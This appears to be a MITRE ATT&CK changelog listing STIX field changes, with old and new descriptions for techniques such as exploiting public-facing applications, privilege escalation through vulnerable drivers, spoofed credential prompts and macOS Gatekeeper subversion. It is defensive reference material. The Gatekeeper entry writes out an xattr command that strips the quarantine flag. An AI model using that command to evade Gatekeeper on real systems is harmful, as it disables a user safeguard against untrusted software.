| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | File: File Access |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:02.204000+00:00 | 2021-10-15 22:48:29.490000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | File monitoring | Drive: Drive Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to take advantage of a weakness in a | t | 1 | Adversaries may attempt to take advantage of a weakness in a |
| > | n Internet-facing computer or program using software, data, | > | n Internet-facing computer or program using software, data, | ||
| > | or commands in order to cause unintended or unanticipated be | > | or commands in order to cause unintended or unanticipated be | ||
| > | havior. The weakness in the system can be a bug, a glitch, o | > | havior. The weakness in the system can be a bug, a glitch, o | ||
| > | r a design vulnerability. These applications are often websi | > | r a design vulnerability. These applications are often websi | ||
| > | tes, but can include databases (like SQL)(Citation: NVD CVE- | > | tes, but can include databases (like SQL)(Citation: NVD CVE- | ||
| > | 2016-6662), standard services (like SMB(Citation: CIS Multip | > | 2016-6662), standard services (like SMB(Citation: CIS Multip | ||
| > | le SMB Vulnerabilities) or SSH), network device administrati | > | le SMB Vulnerabilities) or SSH), network device administrati | ||
| > | on and management protocols (like SNMP and Smart Install(Cit | > | on and management protocols (like SNMP and Smart Install(Cit | ||
| > | ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | > | ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | ||
| > | )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | > | )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | ||
| > | r applications with Internet accessible open sockets, such a | > | r applications with Internet accessible open sockets, such a | ||
| > | s web servers and related services.(Citation: NVD CVE-2014-7 | > | s web servers and related services.(Citation: NVD CVE-2014-7 | ||
| > | 169) Depending on the flaw being exploited this may include | > | 169) Depending on the flaw being exploited this may include | ||
| > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | ||
| > | techniques/T1211). If an application is hosted on cloud-ba | > | techniques/T1211). If an application is hosted on cloud-ba | ||
| > | sed infrastructure, then exploiting it may lead to compromis | > | sed infrastructure and/or is containerized, then exploiting | ||
| > | e of the underlying instance. This can allow an adversary a | > | it may lead to compromise of the underlying instance or cont | ||
| > | path to access the cloud APIs or to take advantage of weak i | > | ainer. This can allow an adversary a path to access the clou | ||
| > | dentity and access management policies. For websites and da | > | d or container APIs, exploit container host access via [Esca | ||
| > | tabases, the OWASP top 10 and CWE top 25 highlight the most | > | pe to Host](https://attack.mitre.org/techniques/T1611), or t | ||
| > | common web-based vulnerabilities.(Citation: OWASP Top 10)(Ci | > | ake advantage of weak identity and access management policie | ||
| > | tation: CWE top 25) | > | s. For websites and databases, the OWASP top 10 and CWE top | ||
| > | 25 highlight the most common web-based vulnerabilities.(Cit | ||||
| > | ation: OWASP Top 10)(Citation: CWE top 25) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:10:54.358000+00:00 | 2021-07-20 21:51:45.776000+00:00 |
| description | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) |
| x_mitre_data_sources[0] | Azure activity logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Network |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | Web application firewall logs | |
| x_mitre_data_sources | Application logs | |
| x_mitre_platforms | Network |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Anti-virus', 'System calls', 'Process monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:06:02.690000+00:00 | 2021-10-15 19:01:34.932000+00:00 |
| x_mitre_remote_support | True | False |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities in an attem | t | 1 | Adversaries may exploit software vulnerabilities in an attem |
| > | pt to collect elevate privileges. Exploitation of a software | > | pt to elevate privileges. Exploitation of a software vulnera | ||
| > | vulnerability occurs when an adversary takes advantage of a | > | bility occurs when an adversary takes advantage of a program | ||
| > | programming error in a program, service, or within the oper | > | ming error in a program, service, or within the operating sy | ||
| > | ating system software or kernel itself to execute adversary- | > | stem software or kernel itself to execute adversary-controll | ||
| > | controlled code. Security constructs such as permission leve | > | ed code. Security constructs such as permission levels will | ||
| > | ls will often hinder access to information and use of certai | > | often hinder access to information and use of certain techni | ||
| > | n techniques, so adversaries will likely need to perform pri | > | ques, so adversaries will likely need to perform privilege e | ||
| > | vilege escalation to include use of software exploitation to | > | scalation to include use of software exploitation to circumv | ||
| > | circumvent those restrictions. When initially gaining acce | > | ent those restrictions. When initially gaining access to a | ||
| > | ss to a system, an adversary may be operating within a lower | > | system, an adversary may be operating within a lower privile | ||
| > | privileged process which will prevent them from accessing c | > | ged process which will prevent them from accessing certain r | ||
| > | ertain resources on the system. Vulnerabilities may exist, u | > | esources on the system. Vulnerabilities may exist, usually i | ||
| > | sually in operating system components and software commonly | > | n operating system components and software commonly running | ||
| > | running at higher permissions, that can be exploited to gain | > | at higher permissions, that can be exploited to gain higher | ||
| > | higher levels of access on the system. This could enable so | > | levels of access on the system. This could enable someone to | ||
| > | meone to move from unprivileged or user level permissions to | > | move from unprivileged or user level permissions to SYSTEM | ||
| > | SYSTEM or root permissions depending on the component that | > | or root permissions depending on the component that is vulne | ||
| > | is vulnerable. This may be a necessary step for an adversary | > | rable. This could also enable an adversary to move from a vi | ||
| > | compromising a endpoint system that has been properly confi | > | rtualized environment, such as within a virtual machine or c | ||
| > | gured and limits other privilege escalation methods. | > | ontainer, onto the underlying host. This may be a necessary | ||
| > | step for an adversary compromising an endpoint system that h | ||||
| > | as been properly configured and limits other privilege escal | ||||
| > | ation methods. Adversaries may bring a signed vulnerable dr | ||||
| > | iver onto a compromised machine so that they can exploit the | ||||
| > | vulnerability to execute code in kernel mode. This process | ||||
| > | is sometimes referred to as Bring Your Own Vulnerable Driver | ||||
| > | (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Uni | ||||
| > | t42 AcidBox June 2020) Adversaries may include the vulnerabl | ||||
| > | e driver with files delivered during Initial Access or downl | ||||
| > | oad it to a compromised system via [Ingress Tool Transfer](h | ||||
| > | ttps://attack.mitre.org/techniques/T1105) or [Lateral Tool T | ||||
| > | ransfer](https://attack.mitre.org/techniques/T1570). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:12:49.194000+00:00 | 2021-04-22 16:13:34.896000+00:00 |
| description | Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods. | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570). |
| x_mitre_data_sources[0] | Windows Error Reporting | Driver: Driver Load |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'} | |
| external_references | {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'} | |
| external_references | {'source_name': 'Microsoft Driver Block Rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Application logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.380000+00:00 | 2021-03-08 10:33:01.745000+00:00 |
| x_mitre_data_sources[0] | Web logs | File: File Modification |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Creation |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may mimic common operating system GUI components | t | 1 | Adversaries may mimic common operating system GUI components |
| > | to prompt users for credentials with a seemingly legitimate | > | to prompt users for credentials with a seemingly legitimate | ||
| > | prompt. When programs are executed that need additional pri | > | prompt. When programs are executed that need additional pri | ||
| > | vileges than are present in the current user context, it is | > | vileges than are present in the current user context, it is | ||
| > | common for the operating system to prompt the user for prope | > | common for the operating system to prompt the user for prope | ||
| > | r credentials to authorize the elevated privileges for the t | > | r credentials to authorize the elevated privileges for the t | ||
| > | ask (ex: [Bypass User Account Control](https://attack.mitre. | > | ask (ex: [Bypass User Account Control](https://attack.mitre. | ||
| > | org/techniques/T1548/002)). Adversaries may mimic this func | > | org/techniques/T1548/002)). Adversaries may mimic this func | ||
| > | tionality to prompt users for credentials with a seemingly l | > | tionality to prompt users for credentials with a seemingly l | ||
| > | egitimate prompt for a number of reasons that mimic normal u | > | egitimate prompt for a number of reasons that mimic normal u | ||
| > | sage, such as a fake installer requiring additional access o | > | sage, such as a fake installer requiring additional access o | ||
| > | r a fake malware removal suite.(Citation: OSX Malware Exploi | > | r a fake malware removal suite.(Citation: OSX Malware Exploi | ||
| > | ts MacKeeper) This type of prompt can be used to collect cre | > | ts MacKeeper) This type of prompt can be used to collect cre | ||
| > | dentials via various languages such as AppleScript(Citation: | > | dentials via various languages such as [AppleScript](https:/ | ||
| > | LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malw | > | /attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm | ||
| > | are) and PowerShell(Citation: LogRhythm Do You Trust Oct 201 | > | Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati | ||
| > | 4)(Citation: Enigma Phishing for Credentials Jan 2015). | > | on: Spoofing credential dialogs) and [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do | ||||
| > | You Trust Oct 2014)(Citation: Enigma Phishing for Credentia | ||||
| > | ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux | ||||
| > | systems attackers may launch dialog boxes prompting users f | ||||
| > | or credentials from malicious shell scripts or the command l | ||||
| > | ine (i.e. [Unix Shell](https://attack.mitre.org/techniques/T | ||||
| > | 1059/004)).(Citation: Spoofing credential dialogs) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:56:14.853000+00:00 | 2021-08-24 18:21:07.926000+00:00 |
| description | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) |
| external_references[5]['source_name'] | Enigma Phishing for Credentials Jan 2015 | Spoofing credential dialogs |
| external_references[5]['description'] | Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018. | Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021. |
| external_references[5]['url'] | https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ | https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ |
| x_mitre_data_sources[0] | PowerShell logs | Script: Script Execution |
| x_mitre_data_sources[1] | User interface | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_detection | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'} | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file attributes that signify programs | t | 1 | Adversaries may modify file attributes that signify programs |
| > | are from untrusted sources to subvert Gatekeeper controls. | > | are from untrusted sources to subvert Gatekeeper controls i | ||
| > | In macOS and OS X, when applications or programs are downloa | > | n macOS. When documents, applications, or programs are downl | ||
| > | ded from the internet, there is a special attribute set on t | > | oaded an extended attribute (xattr) called <code>com.apple.q | ||
| > | he file called <code>com.apple.quarantine</code>. This attri | > | uarantine</code> can be set on the file by the application p | ||
| > | bute is read by Apple's Gatekeeper defense program at execut | > | erforming the download. This attribute, also known as a quar | ||
| > | ion time and provides a prompt to the user to allow or deny | > | antine flag, is read by Apple's Gatekeeper defense program w | ||
| > | execution. Apps loaded onto the system from USB flash driv | > | hen the file is run and provides a prompt to the user to all | ||
| > | e, optical disk, external hard drive, or even from a drive s | > | ow or deny execution. Gatekeeper also monitors an applicatio | ||
| > | hared over the local network won’t set this flag. Additional | > | n's usage of dynamic libraries (dylibs) loaded outside the a | ||
| > | ly, it is possible to avoid setting this flag using [Drive-b | > | pplication folder on any quarantined binary, often using the | ||
| > | y Compromise](https://attack.mitre.org/techniques/T1189). Th | > | <code>dlopen</code> function. If the quarantine flag is set | ||
| > | is completely bypasses the built-in Gatekeeper check. (Citat | > | in macOS 10.15+, Gatekeeper also checks for a notarization | ||
| > | ion: Methods of Mac Malware Persistence) The presence of the | > | ticket and sends a cryptographic hash to Apple's servers to | ||
| > | quarantine flag can be checked by the xattr command <code>x | > | check for validity for all unsigned executables.(Citation: T | ||
| > | attr /path/to/MyApp.app</code> for <code>com.apple.quarantin | > | heEclecticLightCompany apple notarization )(Citation: Bypass | ||
| > | e</code>. Similarly, given sudo access or elevated permissio | > | ing Gatekeeper) The quarantine flag is an opt-in system and | ||
| > | n, this attribute can be removed with xattr as well, <code>s | > | not imposed by macOS. If an application opts-in, a file dow | ||
| > | udo xattr -r -d com.apple.quarantine /path/to/MyApp.app</cod | > | nloaded from the Internet will be given a quarantine flag be | ||
| > | e>. (Citation: Clearing quarantine attribute) (Citation: Oce | > | fore being saved to disk. Any application or user with write | ||
| > | anLotus for OS X) In typical operation, a file will be dow | > | permissions to the file can change or strip the quarantine | ||
| > | nloaded from the internet and given a quarantine flag before | > | flag. With elevated permission (sudo), this attribute can be | ||
| > | being saved to disk. When the user tries to open the file o | > | removed from any file. The presence of the <code>com.apple. | ||
| > | r application, macOS’s gatekeeper will step in and check for | > | quarantine</code> quarantine flag can be checked with the xa | ||
| > | the presence of this flag. If it exists, then macOS will th | > | ttr command <code>xattr -l /path/to/examplefile</code>. Simi | ||
| > | en prompt the user to confirmation that they want to run the | > | larly, this attribute can be recursively removed from all fi | ||
| > | program and will even provide the URL where the application | > | les in a folder using xattr, <code>sudo xattr -d com.apple.q | ||
| > | came from. However, this is all based on the file being dow | > | uarantine /path/to/folder</code>.(Citation: 20 macOS Common | ||
| > | nloaded from a quarantine-savvy application. (Citation: Bypa | > | Tools and Techniques)(Citation: TheEclecticLightCompany Quar | ||
| > | ssing Gatekeeper) | > | antine and the flag)(Citation: theevilbit gatekeeper bypass | ||
| > | 2021) Apps and files loaded onto the system from a USB flas | ||||
| > | h drive, optical disk, external hard drive, from a drive sha | ||||
| > | red over the local network, or using the <code>curl</code> c | ||||
| > | ommand do not set this flag. Additionally, it is possible to | ||||
| > | avoid setting this flag using [Drive-by Compromise](https:/ | ||||
| > | /attack.mitre.org/techniques/T1189), which may bypass Gateke | ||||
| > | eper. (Citation: Methods of Mac Malware Persistence)(Citatio | ||||
| > | n: Clearing quarantine attribute)(Citation: OceanLotus for O | ||||
| > | S X) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:41:20.063000+00:00 | 2021-10-14 21:18:30.629000+00:00 |
| description | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper) | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)
The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)
Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X) |
| external_references[1]['source_name'] | Methods of Mac Malware Persistence | TheEclecticLightCompany apple notarization |
| external_references[1]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021. |
| external_references[1]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://eclecticlight.co/2020/08/28/how-notarization-works/ |
| external_references[2]['source_name'] | Clearing quarantine attribute | Bypassing Gatekeeper |
| external_references[2]['description'] | Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017. | Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. |
| external_references[2]['url'] | https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ | https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ |
| external_references[3]['source_name'] | OceanLotus for OS X | 20 macOS Common Tools and Techniques |
| external_references[3]['description'] | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[3]['url'] | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| external_references[4]['source_name'] | Bypassing Gatekeeper | TheEclecticLightCompany Quarantine and the flag |
